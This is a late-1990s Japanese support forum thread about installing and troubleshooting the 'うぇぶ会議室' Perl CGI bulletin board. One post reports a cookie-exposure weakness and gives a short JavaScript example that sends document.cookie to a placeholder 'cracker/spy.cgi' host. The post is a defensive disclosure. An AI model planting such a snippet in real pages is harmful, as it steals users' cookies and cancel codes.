うぇぶ会議室の部屋4一括表示
［表示範囲：24〜123］［スレッドモード］

フォロー記事投稿

記事のキャンセル

7月7日に、ポチさんは書きました。

＞NT-4+IIS3でイントラネットの中で、利用したいのですが、
＞どのように、設置すればいいのですか？

ここのようなサポート会議室を有効利用するこつは、まず、ある程度自分で試してみて、
その結果、どこが分からなくてどこが上手く行っていないのかを整理してから、
それに基づいた具体的な質問をすることです。

＞どのホルダーにどのファイルを設置すればよいか、ご教授くださいませ。
＞ちなみに、cgi-bin のホルダーは現在ありません、NTの場合は scripts ホルダーに
＞なるのですか？

もう一つ。過去の事例を探してみると言うのも有効な手順のひとつです。

例えば、簡易記事検索で「NT」や「ＮＴ」を含む物を検索してみるだけで、
非常に多くの過去記事が見つかります。おそらくこれらの記事を読むことで
大抵の疑問は解消できるでしょうし、もしもまだ分からないことがあったら
改めて質問して下されば良いです。(^^)

＃ あたし自身はNTサーヴァをいぢった事無いので、NT特有の現象だとは良くは
＃ 分かりませんが、NTサーヴァでの設定に詳しい方も多くいらしてますし。

フォロー記事投稿

記事のキャンセル

7月8日に、odysseyさんは書きました。

＞「システムに致命的エラーが生じました。原因 ('ファイルの書式が不正です', "seikenchat/contents")」
＞…という表示が出て、TESTページ以外のContentsファイルを認識してくれません。

エラーからcontentsファイルがおかしいというのは分かると思いますが、具体的に
どこがおかしいのかは、実際にそのcontentsファイルを見てみないことには分かりませんね。

とりあえず、蓮沼さんの「うぇぶ会議室設置作業」会議室から「部屋の増設」とか、
いがらしさんの「うぇぶ会議室設置例」から「部屋の追加」辺りを見て
作りなおしてみたらいかがでしょうか?

サーヴァにcontentsを転送する時はASCIIモードで行なうことも忘れずに。

フォロー記事投稿

記事のキャンセル

はじめまして　滝川と申します。

以前から、うぇぶ会議室を利用させてもらっているのですが、
動作環境をSolarisからTurboLinux-Server1.0に変えた所、
タイトルの一覧表示画面で、タイトルの末尾１バイトが切れて
しまうようになりました。

末尾が半角文字は切れるだけですが、全角の場合には・A>と
なってしまいます。perlはperl-5.004_04_980303-5TLです。

ちなみにURLはhttp://www.habi.ne.jp/forumです。
対処法がありましたら、ご教示ください。

フォロー記事投稿

記事のキャンセル

7月13日に、たきさんは書きました。

＞はじめまして　滝川と申します。

滝川さん、こんにちは。

＞以前から、うぇぶ会議室を利用させてもらっているのですが、
＞動作環境をSolarisからTurboLinux-Server1.0に変えた所、
＞タイトルの一覧表示画面で、タイトルの末尾１バイトが切れて
＞しまうようになりました。

これjperlで動作したときの典型的な症状のようですね。
うぇぶ会議室のFAQを参照してみて下さい。

＞末尾が半角文字は切れるだけですが、全角の場合には・A>と
＞なってしまいます。perlはperl-5.004_04_980303-5TLです。

バージョンが5.x以降なので、FAQにある -b オプションが使えるかもしれないですね。

＃ところで 'perl-5.004_04_980303-5TL'ってjperl？
以下のコマンドを打つとどのように表示されますでしょうか。

$ perl -v

フォロー記事投稿

記事のキャンセル

7月13日に、ＴＡＤさんは書きました。

＞これjperlで動作したときの典型的な症状のようですね。
＞うぇぶ会議室のFAQを参照してみて下さい。

FAQは見てから投稿したつもりでしたが・・・　見落としていました
お恥ずかしい限りです。

適切なアドバイスありがとうございました。ちゃんと動くようになり
ました。



＞＃ところで 'perl-5.004_04_980303-5TL'ってjperl？
＞以下のコマンドを打つとどのように表示されますでしょうか。
＞
＞$ perl -v

こんな感じです。
　
HaBI{taki forum}17: perl -v

This is perl, version 5.004_04 built for i386-linux

Copyright 1987-1997, Larry Wall

Japanization patch 4 by Yasushi Saito, 1996

Modified by Hirofumi Watanabe, 1996-1998
jperl5.004_04-980303
EUC version

Perl may be copied only under the terms of either the Artistic License or the
GNU General Public License, which may be found in the Perl 5.0 source kit.

フォロー記事投稿

記事のキャンセル

7月4日に、にあさんは書きました。

＞キャッシュをすべて削除してもですか。(^^;; うーむ、どこに情報が残っているのでしょう?
＞＃ MSIEはあまり使っていないので、細かい不具合となるとよく分からないです。

直りました。(*^_^*)　
会議室へのリンクがMSIEのお気に入りに入っていたのでそれを削除して、
それから、新たにお気に入りに登録し直したら直りました。

MSIEはキャッシュを消してもindex.datファイルが残っていて、そこにアクセス
した履歴が残っているそうです。それと関係があるのかは分かりません。

報告まででした。

フォロー記事投稿

記事のキャンセル

始めてまして、yajiと申します。　よろしく、お見知り置きをお願いします。

さて、この度にあさんのWEB会議室をお借りして、bbsに挑戦しました。五十嵐さんからサポートしていただいて、ようやくここまでたどり着きましたが、子子で困ったことができてしまいました。　キャンセルコードを誤って自分の意図していたものとは異なるものに設定してしまったようで、キャンセルができなくなってしまいました。キャンセルコードを変える方法を教えてください。

bbs: http://cgi3.tky.3web.ne.jp/~ylb/bbs/index.cgi


                yaji   yuji.mineyama@nifty.ne.jp

フォロー記事投稿

記事のキャンセル

7月13日に、yajiさんは書きました。

＞キャンセルコードを誤って自分の意図していたものとは異なるものに
＞設定してしまったようで、キャンセルができなくなってしまいました。
＞キャンセルコードを変える方法を教えてください。

これは、システム管理者のキャンセルコードが分からなくなったと言うことですか?
でしたら、最初に設定したのと同じ様にして設定し直すだけですが...

それとも、ある記事に設定したキャンセルコードが分からなくなったと言うことですか?
でしたら、システム管理者のキャンセルコードを使えば、一般の記事は消せますが...

フォロー記事投稿

記事のキャンセル

7月14日に、にあさんは書きました。

＞7月13日に、yajiさんは書きました。
＞
＞＞キャンセルコードを誤って自分の意図していたものとは異なるものに
＞＞設定してしまったようで、キャンセルができなくなってしまいました。
＞＞キャンセルコードを変える方法を教えてください。
＞
＞これは、システム管理者のキャンセルコードが分からなくなったと言うことですか?
＞でしたら、最初に設定したのと同じ様にして設定し直すだけですが...

ありがとうございました。　これでようやく何とか一丁前に成ったようです。
それにしても、よくできていますね。　もうすぐ公開にこぎつけたいと思っています。

謝謝。

フォロー記事投稿

記事のキャンセル

こんにちは。ここにお邪魔させていただくのはもう3回目です。
初めて質問したのはもうちょうど1年前になるんですね。早いなぁー。
（いいかげん設置しろよ！って言われそう・・・）
ま、今まで何をしてたかは置いといて、と。
今回の問題についてなにかおわかりになることがあれば教えてください。

問題:
「最新リリース版(Ver.1.7c)のアーカイブ」ファイルをダウンロードしようとしたところ、次のようなエラーメッセージが表示されてダウンロードできませんでした。
ブラウザは「Microsoft Internet Explorer 4.0」です。

エラーメッセージ:
「インターネットサイト forum-1.7c.tar.gz - www2.biglobe.ne.jp からダウンロードできません。
ダウンロードされたファイルは利用できません。セキュリティや言語の設定が原因であるか、または要求されたファイルをサーバーが取得できなかったことが原因です。」

以上です。
もしかすると、すっごいしょーもないことなのかもしれないので気が引けるのですが・・・。
何かひらめくことなどあれば教えてください。よろしくお願いします。

フォロー記事投稿

記事のキャンセル

　二ヶ月ほど前、cumberというハンドルで投稿した、"きゅんべる"です。

　うぇぶ会議室で、「これはちょっと問題かな？」と思えなくもないところを
見つけたので、報告したいと思います。


　いま、うぇぶ会議室の普通の設定では、

　ＣＧＩディレクトリ　−−−−　会議室１のディレクトリ
　　　　　　　　　　　　｜−−　会議室２のディレクトリ
　　　　　　　　　　　　｜−−　会議室３のディレクトリ

と言うようになってますよね。

　すると、この設定では、会議室の投稿ファイルからcookieをアクセスすると、
ＣＧＩで使ってるcookieつまり、ハンドルネームやキャンセルコードが見えて
しまうと思うんです。

　例えば、JavaScriptで、
       private_data = document.cookie;
　     <IMG SRC="http://www.hoge.ne.jp/cracker/spy.cgi?private_data">
などといったコードを投稿にし込んだ場合、アクセス者のパスワードなども盗め
てしまうと思うんです。

　ディレクトリー構成として、
　　　　　｜−−　ＣＧＩディレクトリ
　　　　　｜−−　会議室１のディレクトリ
　　　　　｜−−　会議室２のディレクトリ
　　　　　｜−−　会議室３のディレクトリ
とかを推奨したほうがいいと思うのですが、如何でしょう？

フォロー記事投稿

記事のキャンセル

7月14日に、きゅんべるさんは書きました。

＞　いま、うぇぶ会議室の普通の設定では、
＞
＞　ＣＧＩディレクトリ　−−−−　会議室１のディレクトリ
＞　　　　　　　　　　　　｜−−　会議室２のディレクトリ
＞　　　　　　　　　　　　｜−−　会議室３のディレクトリ
＞
＞と言うようになってますよね。
＞
＞　すると、この設定では、会議室の投稿ファイルからcookieをアクセスすると、
＞ＣＧＩで使ってるcookieつまり、ハンドルネームやキャンセルコードが見えて
＞しまうと思うんです。

Cookieに記録されるような情報、つまり、Internet上を平文でやり取りされるような
情報は常に漏洩の危険性に晒されています。特にCookieはHTTPのヘッダとして
やり取りされますから、キャッシュサーヴァのログなどに残っている事も多く、
基本的に重要物では無い、と思っています。

ですから、逆に重要な情報がCookieに記録されるのを避ける意味で、記事の削除に
使うコードに対して「パスワード」と言う言葉を用いずに「キャンセルコード」と
呼んで、常用しているパスワードを記載してしまう事を抑制しようとしているわけです。

＃ とは言え、きっと自分のパスワードを書いちゃっている人もいるんでしょうね。(^^;;

ただ、「うぇぶ会議室」の運用の面から考えれば、キャンセルコードが分かってしまうのが
よろしくないのは言うまでもないですが。(^^;

＞　ディレクトリー構成として、
＞　　　　　｜−−　ＣＧＩディレクトリ
＞　　　　　｜−−　会議室１のディレクトリ
＞　　　　　｜−−　会議室２のディレクトリ
＞　　　　　｜−−　会議室３のディレクトリ
＞とかを推奨したほうがいいと思うのですが、如何でしょう？

そうですね。こちらの構成の方が安全であるのは確かですし、セキュリティの面から離れても
CGIディレクトリと会議室ディレクトリが同じ階層にあることで、中で使用する画像などを
絶対パスではなく相対パスで表記できるなど利点も多いため望ましいと考えられますね。

＃ 実は次版ではこの様な構成に変えようと思って、現在のCookieを新しい場所に簡単に
＃ 移行させるための方法なども色々検討していたのですが、次版の開発が止まってしまい
＃ そのままになってるのが現状です。(^^;;;

フォロー記事投稿

記事のキャンセル

はじめましてＩＮＦＵと申します以後お見知りおきを・・・
さっそく本題の方へ・・・
私かなりの初心者なんです、このＷＥＢ会議室がとても気に入って
私のＨ・Ｐにも開設できたらいいなぁ、って思って
オンラインマニュアルなどを見させてもらって手探りでやったんですが
どうも上手く行きません
アドレスを入れてフレームが三つに分かれるところまでは、よいのですが
そのあと全てのフレームのなかに「ページが見つかりません」の文字がでるのです
私が契約しているネット接続会社が３ＷＥＢで３ＷＥＢはＷＷＷサーバとＣＧＩサーバ
に分かれてるらしくてオンラインマニュアルを見てもわからないんです
私の場合はやっぱり無理なのでしょうか？
どなたでも結構です、もしよろしければ私にアドバイスをしていただけないでしょうか
よろしくお願いします。

フォロー記事投稿

記事のキャンセル

7月23日に、ＩＮＦＵさんは書きました。

＞私が契約しているネット接続会社が３ＷＥＢで３ＷＥＢはＷＷＷサーバとＣＧＩサーバ
＞に分かれてるらしくてオンラインマニュアルを見てもわからないんです

3webは確かにWWWサーヴァとCGIサーヴァが別になっていてファイル共有なども
されていないようなので、うぇぶ会議室を双方に分けて入れることは出来ません。

ちょっと反則ではありますが、CGIサーヴァに全てインストールして使うことになります。
その場合は、ごく普通のインストール手順になります。

フォロー記事投稿

記事のキャンセル

7月24日に、にあさんは書きました。

＞ちょっと反則ではありますが、CGIサーヴァに全てインストールして使うことになります。
＞その場合は、ごく普通のインストール手順になります。

ありがとうございました！
テストで成功しました、これから微調整していきたいと思います
本当にありがとうございました

フォロー記事投稿

記事のキャンセル

こんにちは。
２年ほど前より、使用させていただいております。
サーバーはBIGLOBE(www2s)ですが、時々レスポンスが遅い以外は
問題なく使っていました。
ディレクトリを分けて３種類の会議室を設置してあるのですが
昨日、v1.7a→v1.7cに変更するために「Preface.html」以外のファイルを
書き換えました。
（手順としては、サーバー上のファイルをDELETEしてから、新しいファイルを
　アップロードし、パーミッションを変更する。）
動作確認したところ、表示は問題ありませんが、投稿が出来ません。
（プレビュー、本投稿ともに）
エラーメッセージも出ず、そのままの状態で止まってしまうのです。

サーバー側の負荷等の問題かと思い、昨日午後から時間をおいて様子を見てきましたが
夜、夜中、朝方、ともに同様の症状ですので、トラフィックの問題などではないようです。
また、ブラウザはie4、ie5、NN4.6、で確認しましたがすべて同様の症状です。

なにかヒントになることがあればご教示いただきたく存じます。
会議室の設置場所を下記に記します。

http://www2s.biglobe.ne.jp/~suz/forum/index.cgi
http://www2s.biglobe.ne.jp/~suz/asia_forum/index.cgi
http://www2s.biglobe.ne.jp/~suz/music_forum/index.cgi

よろしくお願いいたします。

フォロー記事投稿

記事のキャンセル

いま、試験的に投稿してみたらエラーメッセージが出ました。(-_-;)

　原因（”ロック出来ません”、"test/contents"）

test（及び各部屋）のディレクトリ以下はいじってないのですが。。。

フォロー記事投稿

記事のキャンセル

お騒がせしてすみません。
過去ログを読んでいたら、該当するような件があったので、flockの設定を変えてみたら
投稿できるようになりました。

どうもお騒がせしてすみませんでした。

＃でもflockをいじったのは、今回が初めてなのですけど。。。

フォロー記事投稿

記事のキャンセル

7月23日に、鈴木紀明さんは書きました。

＞過去ログを読んでいたら、該当するような件があったので、flockの設定を変えてみたら
＞投稿できるようになりました。

S号機はまたflock()関係がトラブるようになって来たようですね。

＞＃でもflockをいじったのは、今回が初めてなのですけど。。。

今までロック関係のエラーになったことは無かったですか? (^^;
S号機にいてそうだとしたら相当運が良いと思いますが。(笑)

フォロー記事投稿

記事のキャンセル

にあさん、こんにちは。
レスをいただき、ありがとうございます。

7月24日に、にあさんは書きました。

＞＞＃でもflockをいじったのは、今回が初めてなのですけど。。。
＞
＞今までロック関係のエラーになったことは無かったですか? (^^;
＞S号機にいてそうだとしたら相当運が良いと思いますが。(笑)

　初めてです。。。
　ひょっとしたら、自分が気付いていなかっただけかもしれませんね。(汗)

今後ともよろしくお願いいたします。

フォロー記事投稿

記事のキャンセル

7月24日に、にあさんは書きました。


＞S号機はまたflock()関係がトラブるようになって来たようですね。

＞今までロック関係のエラーになったことは無かったですか? (^^;
＞S号機にいてそうだとしたら相当運が良いと思いますが。(笑)

こんばんは、nezです。
例のnpc.cgiでは色々御世話になっております。

やっぱり、「No More Locks」エラーと同じ原因でしょうか、これって？
それならば最近また発生しているもので・・・(^^;;
BIGLOBEのサポートにばんばんメール出してます（笑）

いやーS号機だけは・・・まったく(^^;;

フォロー記事投稿

記事のキャンセル

はじめまして、中島と申します。

うぇぶ会議室を設定している者です。蓮沼さんの会議室設定方法等
見ながら設定しており、サーバーにアップロードして、
指示どおり設定したはずなのですが、index.cgiをブラウザ上で
実行すると、会議室が現れず、

#!/usr/bin/perl

$CGIPATH = '.';

#
# index.cgi -- Main page of WebForum.
# Copyright (C) 1996 nir@mxa.meshnet.or.jp
#
以下略

というように、ソースコードのようなものが現れるだけなのです。
どこか私の設定に誤りがあったのでしょうか？
お手数ですが、ご存知の方ぜひ教えてください。

フォロー記事投稿

記事のキャンセル

7月24日に、中島さんは書きました。

＞index.cgiをブラウザ上で実行すると、会議室が現れず、

＞というように、ソースコードのようなものが現れるだけなのです。

CGIとしての動作がされず、単なる文書の読み込みになってしまっています。

ちなみにお使いのサーヴァはどこですか? www.tcp-ip.or.jp はユーザの
CGIやSSIを実行するには別にオプション契約が必要そうに読めましたが。

フォロー記事投稿

記事のキャンセル

こんにちは
前に「にあさん」に親切に教えてもらったのにもかかわらず
いまだ上手く行っていない超初心者ＩＮＦＵです
前回教えてもらったところは出来たのですが
オンラインマニュアルに従って進めて
ＴＥＳＴへの書きこみは出来たのですが
今度は新しい部屋を作って投稿すると

System Error!! 
システムに致命的エラーが生じました。
原因 ('ファイルに書き込めません', "*******/contents")

というのが出て書きこめません
もし教えていただけるならどなたでもかまいません
もう一度この私に教えて頂けませんでしょうか

フォロー記事投稿

記事のキャンセル

7月25日に、ＩＮＦＵさんは書きました。

＞オンラインマニュアルに従って進めて

いろんな方が書かれた「うぇぶ会議室設置手順」も大変参考になると思いますよ。

＞ＴＥＳＴへの書きこみは出来たのですが
＞今度は新しい部屋を作って投稿すると
＞
＞System Error!! 
＞システムに致命的エラーが生じました。
＞原因 ('ファイルに書き込めません', "*******/contents")
＞
＞というのが出て書きこめません

では、簡単に...
新しく作ったディレクトリの中にcontentsファイルを用意してあげないといけません。
それがないから以下のようなエラーメッセージが表示されているわけです。

＞原因 ('ファイルに書き込めません', "*******/contents")

フォロー記事投稿

記事のキャンセル

こんにちわ、はじめまして。

このホームページは２月頃に見つけました。
それは”ジジジかうんたー”がほしかったからです。
それから一生懸命説明を見ながらやってはみてるのですが
まず、説明文が理解できなくて・・・。＜大問題

こんなわたしにはできないでしょうか？（涙）

フォロー記事投稿

記事のキャンセル

7月30日に、りえさんは書きました。

＞こんにちわ、はじめまして。
＞
＞このホームページは２月頃に見つけました。
＞それは”ジジジかうんたー”がほしかったからです。
＞それから一生懸命説明を見ながらやってはみてるのですが
＞まず、説明文が理解できなくて・・・。＜大問題
＞
＞こんなわたしにはできないでしょうか？（涙）

　はじめまして
　説明文を理解する気持ちがあれば　設置はできると思いますよ

　まず，具体的に何が分からないかが分からないと
　対応のしようがありません　超能力者ならともかくね  ;-P

フォロー記事投稿

記事のキャンセル

＞こんにちわ、はじめまして。
＞
＞このホームページは２月頃に見つけました。
＞それは”ジジジかうんたー”がほしかったからです。
＞それから一生懸命説明を見ながらやってはみてるのですが
＞まず、説明文が理解できなくて・・・。＜大問題
＞
＞こんなわたしにはできないでしょうか？（涙）

”ジジジかうんたー”の相談なら「npc.cgiの部屋」が書き込みには
適切なんじゃないでしょうか。

一応、うちの所の「機能拡張編」の1番、2番の記事にも、
にあさんのカウンターを組み込んだ時の手順を書いてありますが‥‥

フォロー記事投稿

記事のキャンセル

はじめまして。

にあさんの「うぇぶ会議室」に魅せられて、NT Server にインストールしようと
しています。

NT に「うぇぶ会議室」とPerl for win32 をインストールして、CGI を動かす
ところまではうまくいったのですが、さあ記事を投稿してみましょう、と思って
試してみると、エラーが出て書き込めません。エラーメッセージは、次のとおりです。

「システムに致命的エラーが生じました。原因（'ファイルに書き込めません'.
  "test/contents"」

もちろん、test/contents ファイルはちゃんと存在します。

これは、パーミッションの問題でしょうか？？？
過去の記事を探して、北澤さんとおっしゃる方が、投稿されていた記事

(http://www2.big.or.jp/%7Enir/Forum/mesh.forum/00966.html)に

あったとおりにしてみたつもりなのですが、うまく動きません。

C:\Inetpub\Wwwroot\Forum\ 以下に HTML ファイルを置き、そして
C:\Inetpub\Wwwroot\cgi-bin\ 以下に、.pl .cgi ファイルを置いています。

私が設定したアクセス権限は、次のとおりです。

　　[NTFSのアクセス権設定]
　　　F:\Inetpub\Wwwroot\Forum   →　everyone: 読み取り
　　　　　　　　　　　　　　　　　　　 SYSTEM:   フルコントロール
　　　　　　　　　　　　　　　　　　　 Administrator: フルコントロール
　　　　　

　　[IISのアクセス権設定]
　　　F:\Inetpub\Wwwroot\Forum  → /forum2 読み取り、ログアクセス、ディレクトリの　
　　　　　　　　　　　　　　　　　　　　　　　索引付け
　　　　　　　　　　　　　　　　　　アプリケーション設定　アクセス権　スクリプト


[everyone:変更]とかにしないといけないのでしょうか？
＃それはとっても危険なような気がするのですが。。。

この、NTFS のアクセス権とIIS のアクセス権の違いもよくわかりません。
NT には詳しくないので、見当違いのことをしているかも知れないので、是非
ご指摘ください。

一人でアレコレ長いことはまっています (;_;)。
NTに設置された方、是非教えてください。よろしくお願いいたします。

フォロー記事投稿

記事のキャンセル

いしどう です。

7月30日に、puyonyaさんは書きました。

＞NT に「うぇぶ会議室」とPerl for win32 をインストールして、CGI を動かす
＞ところまではうまくいったのですが、さあ記事を投稿してみましょう、と思って
＞試してみると、エラーが出て書き込めません。エラーメッセージは、次のとおりです。
＞
＞「システムに致命的エラーが生じました。原因（'ファイルに書き込めません'.
＞  "test/contents"」
＞
＞もちろん、test/contents ファイルはちゃんと存在します。
＞
＞これは、パーミッションの問題でしょうか？？？

うー、そうかもしれませんしそうじゃないかもしれません (^^;;

＞過去の記事を探して、北澤さんとおっしゃる方が、投稿されていた記事
＞
＞(http://www2.big.or.jp/%7Enir/Forum/mesh.forum/00966.html)に
＞
＞あったとおりにしてみたつもりなのですが、うまく動きません。

もし、このとおりにしてあるのだったら、パーミッションの問題ではないか
と思います。

＞私が設定したアクセス権限は、次のとおりです。
＞
＞　　[NTFSのアクセス権設定]
＞　　　F:\Inetpub\Wwwroot\Forum   →　everyone: 読み取り
＞　　　　　　　　　　　　　　　　　　　 SYSTEM:   フルコントロール
＞　　　　　　　　　　　　　　　　　　　 Administrator: フルコントロール

えーと、"F:" というのは入力ミスだということだとすると (^^;;
IIS が起動した CGI のスクリプトは、IUSR_コンピュータ名 のユーザ
権限で動作しますんで、これではファイルへの書き込みが出来ません。
IUSR_コンピュータ名 が「変更」できるようにアクセス権を変更して
みてください。

それでもだめならば…仮想ディレクトリの設定がちがってるのかも。

フォロー記事投稿

記事のキャンセル

7月30日に、いしどうさんは書きました。
＞＞過去の記事を探して、北澤さんとおっしゃる方が、投稿されていた記事
＞＞
＞＞(http://www2.big.or.jp/%7Enir/Forum/mesh.forum/00966.html)に
＞＞
＞＞あったとおりにしてみたつもりなのですが、うまく動きません。
＞
＞もし、このとおりにしてあるのだったら、パーミッションの問題ではないか
＞と思います。

＞＞私が設定したアクセス権限は、次のとおりです。
＞＞
＞＞　　[NTFSのアクセス権設定]
＞＞　　　F:\Inetpub\Wwwroot\Forum   →　everyone: 読み取り
＞＞　　　　　　　　　　　　　　　　　　　 SYSTEM:   フルコントロール
＞＞　　　　　　　　　　　　　　　　　　　 Administrator: フルコントロール

確か、 forum ディレクトリはアクセス権「読み取り」に設定しておられた
ようなので、everyone: 読み取り、にしたのですが。。。

＞えーと、"F:" というのは入力ミスだということだとすると (^^;;
＞IIS が起動した CGI のスクリプトは、IUSR_コンピュータ名 のユーザ
＞権限で動作しますんで、これではファイルへの書き込みが出来ません。
＞IUSR_コンピュータ名 が「変更」できるようにアクセス権を変更して
＞みてください。

教えていただいた通り、アクセス権を「変更」にしたら、ちゃんと投稿することが
できました。ありがとうございます m(_ _)m。
そうかー。"SYSTEM"ではなく、"IUSR_○○"が変更をかけていたんですか。
投稿できないはずですね (^^;。

ところで、「変更」にしても、セキュリティ上、問題ないんですよね？ドキドキ。
＃勝手にディレクトリを覗いてファイルを削除されたり、とか。

フォロー記事投稿

記事のキャンセル

はじめましてジジカウンターが気にいて今から採用したいと思っています。
今日Gesuto bookに設置しました。
設置は成功しているのですが、カウンターのスタート数値を５からにしょうと思い次のように設定しました。

="/~fxxx9999/npc/npc.cgi?L=index.htm&I=/npc/npc.idx&INIT=5

(最初は1165にしていました）としたところどうしても1165からカウントした数字になってしまいます。一度設定したら、そのページでは修正が効かないのでしょうか？

オンラインマニュアルではINIT=5はN=5となっていたのでやってみたのですが
すると４〜５にカウントを繰り返すばかりです。
ちゃんと５から順次カウントするにはどのようにすれば良いのでしょうか？
宜しくお願いします。

フォロー記事投稿

記事のキャンセル

npc.cgiネタなので「npc.cgiの部屋2」にレス書きます。

フォロー記事投稿

記事のキャンセル

こんばんは。ごぶさたしておりますえぢまっくです。

実は今使っている会議室を別のサーバーに移動させようかななどと考えておるのですが
記事を全部新しいサーバーに移動させるにはやはり一度元サーバーの全部のファイルを
ローカルパソコンに落としてから新しいサーバーにアップと言う方法しかないでしょうか？

旧サーバーから新サーバー（新旧プロバイダーは違います）へ直接コピーというのは
やはり無理なのでしょうか？

結構ファイルが多くなってるので全部ダウンするのも厳しいのですが(^_^:)

何かいい手立てがあったら御教授下さいませ。

フォロー記事投稿

記事のキャンセル

8月17日に、えぢまっくさんは書きました。

＞実は今使っている会議室を別のサーバーに移動させようかななどと考えておるのですが
＞記事を全部新しいサーバーに移動させるにはやはり一度元サーバーの全部のファイルを
＞ローカルパソコンに落としてから新しいサーバーにアップと言う方法しかないでしょうか？

転送先でシェルアカウントがあって、転送元がインターネットからのFTPアクセスを
認めているなら、直接ftpコマンドで転送してしまうのが簡単でしょうね。
あたしがBiG Netのサーヴァに記事を転送する時は専らこれでやっています。

それでも、ファイル数が多い時には面倒ですから、tarコマンドでディレクトリごと
まとめてしまって、圧縮かけてからftpで転送して展開、と言うのをしますね。

Biglobeみたいにシェルアカウントが無い所は、アーカイヴ、圧縮等を行なう
簡単なCGIを書いて実行するのがよろしいのでは。具体的な方法は以前の記事を
参照して下さい。

＞結構ファイルが多くなってるので全部ダウンするのも厳しいのですが(^_^:)

あと、サーヴァ移転で問題になるのはディレクトリ構造が変わった場合、
絶対パス指定していたリンクが切れてしまう事ですね。

＃ 導入するディレクトリ構造を柔軟にしたため、相対URL指定がし辛いので
＃ 絶対パス指定で例を書いてしまったのが裏目に出ていますね。
＃ ディレクトリ構造が変わった時に、記事中のリンクを張り直す
＃ スクリプトでも書いたらいいのかな?
＃＃ どなたか書きませんか。(爆)

フォロー記事投稿

記事のキャンセル

8月17日に、にあさんは書きました。

　バッサリ　略

＞あと、サーヴァ移転で問題になるのはディレクトリ構造が変わった場合、
＞絶対パス指定していたリンクが切れてしまう事ですね。
＞
＞＃ 導入するディレクトリ構造を柔軟にしたため、相対URL指定がし辛いので
＞＃ 絶対パス指定で例を書いてしまったのが裏目に出ていますね。
＞＃ ディレクトリ構造が変わった時に、記事中のリンクを張り直す
＞＃ スクリプトでも書いたらいいのかな?
＞＃＃ どなたか書きませんか。(爆)

　ＣＧＩで実行できるものではなくて
　コマンドラインから実行するものを作ってます。

　現状では置換前後のドキュメントを明確に指定しなければならず
　パス構造の一括した変更には対応してませんが
　ちょっと手を加えるだけで済むかも
　暇を見て機能拡張を検討してみましょう　か

　でも，やはりオンラインでは嫌ですね(^_^;)
＃実際，自分で使ってて失敗してるし・・・

＃因みに現在公開中の物はバグがあります（爆）
＃同じディレクトリでファイル名のみの変更をするとおかしなパスを生成します。

フォロー記事投稿

記事のキャンセル

8月17日に、にあさんは書きました。

ありがとうございます。えぢまっくです。

＞転送先でシェルアカウントがあって、転送元がインターネットからのFTPアクセスを
＞認めているなら、直接ftpコマンドで転送してしまうのが簡単でしょうね。
＞あたしがBiG Netのサーヴァに記事を転送する時は専らこれでやっています。
＞
＞それでも、ファイル数が多い時には面倒ですから、tarコマンドでディレクトリごと
＞まとめてしまって、圧縮かけてからftpで転送して展開、と言うのをしますね。

ほほぅ、ftpで直接やり取りができるのですか。
もっと勉強しないとダメですね(^_^:)
いろいろ調べてやってみます(^_^)　　

そんなに急ぎではないので上手いこといくよう頑張ります！

フォロー記事投稿

記事のキャンセル

はじめまして。
うぇぶ会議室を自分のホームページに設置しようと試みています。

　「投稿者によりキャンセル」と表示された記事をクリックすると，普通なら
「キャンセルされました」という文章が表示されると思うのですが，なぜか
「Forbidden」になってしまいます。

　この機能に関するところをいじったつもりはないのですが，どのファイルの
どの辺を点検すればいいでしょうか。教えてください。

http://www.isn.ne.jp/~hiro-y/cgi-bin/forum/index.cgi

フォロー記事投稿

記事のキャンセル

8月19日に、Sphinxさんは書きました。

＞　「投稿者によりキャンセル」と表示された記事をクリックすると，普通なら
＞「キャンセルされました」という文章が表示されると思うのですが，なぜか
＞「Forbidden」になってしまいます。

キャンセルメッセーヂのHTMLファイル本体であるCancelPoster.htmlは読める
ようですので、記事ファイルからキャンセルメッセーヂファイルへのシンボリック
リンクが辿れない設定になっているのでしょう。この解決法は過去記事の
「削除済み発言の表示がエラーになる場合」に詳しいです。

また、記事一覧の表題の最後が化けているようですが、これはFAQの
「記事一覧の行末が化けてしまうんですけど?」にあるように、jperlを
使っているからでしょう。

フォロー記事投稿

記事のキャンセル

にあさん，早速のアドバイスありがとうございました。

　Forbidden のほうは，site.pl の $copy を１にして解決しました。

　また，行末文字化けも，cgiの１行目に「 -b」を書き加えることで
解決しました。う〜ん，うれしい！これで運用開始にグッと近づきま
した。(^_^)

フォロー記事投稿

記事のキャンセル

ホームページを引っ越す事になったのですが、
今回の所は、CGI は cgi-bin にしか置けないのです。
ディレクトリは、
　|
　|-cgi-bin
　|　　|-forum
　|　　　 |-*.cgi
　|　　　 |-*.pl
　|
　|-home
　|　　|-forum
　|　　　 |-Preface.html
　|　　　 |-test
　|　　　 |-icon

となっています。
左上の会議室選択は表示されるので、CGI は認識されていると思うのですが
一覧と、Preface.htmlのところがエラーで表示されません。
sait.plの
$forumroot = './home/forum/';	# うぇぶ会議室のあるペーヂ
と
# $cgiroot = '/%7Einstall/forum/cgi-bin';
# $forumpath = '/home/install/public_html/forum';
を
$forumroot ="$ENV{'HOME'}/home/forum";	
と
 $cgiroot = '/cgi-bin/forum';
 $forumpath ="$ENV{'HOME'}/home/forum";
に変更していますが
ここの所の設定でパスが正しく通っていないようです。

どの様に設定を変更すれば、良いのでしょうか？
ちなみにURLは、http://www.em.st2.arena.ne.jp/cgi-bin/forum/index.cgi です。

宜しくお願いします。

フォロー記事投稿

記事のキャンセル

8月25日に、JIMNNYさんは書きました。

＞ディレクトリは、
＞　|
＞　|-cgi-bin
＞　|　　|-forum ← (1)
＞　|　　　 |-*.cgi
＞　|　　　 |-*.pl
＞　|
＞　|-home
＞　|　　|-forum ← (2)
＞　|　　　 |-Preface.html
＞　|　　　 |-test
＞　|　　　 |-icon
＞
＞となっています。

http://www.em.st2.arena.ne.jp/cgi-bin/forum/ が (1)、
http://www.em.st2.arena.ne.jp/forum/ が (2) ですね。

＞$forumroot ="$ENV{'HOME'}/home/forum";	

これはURLですから、

$forumroot = '/forum';

です。

＞ $cgiroot = '/cgi-bin/forum';

これは良いですね。

＞ $forumpath ="$ENV{'HOME'}/home/forum";
＞に変更していますが
＞ここの所の設定でパスが正しく通っていないようです。

$ENV{'HOME'} の中身が空の様ですね。
絶対パスが分かっているなら、直に、

$forumpath = '/USERS_HOME_DIR/home/forum';

の様に書いてしまうか、CGIディレクトリからの相対パスで、

$forumpath = '../../home/forum';

の様にすると良いでしょう。

フォロー記事投稿

記事のキャンセル

8月25日に、にあさんは書きました。


＞これはURLですから、
＞
＞$forumroot = '/forum';

＞の様に書いてしまうか、CGIディレクトリからの相対パスで、
＞
＞$forumpath = '../../home/forum';
＞
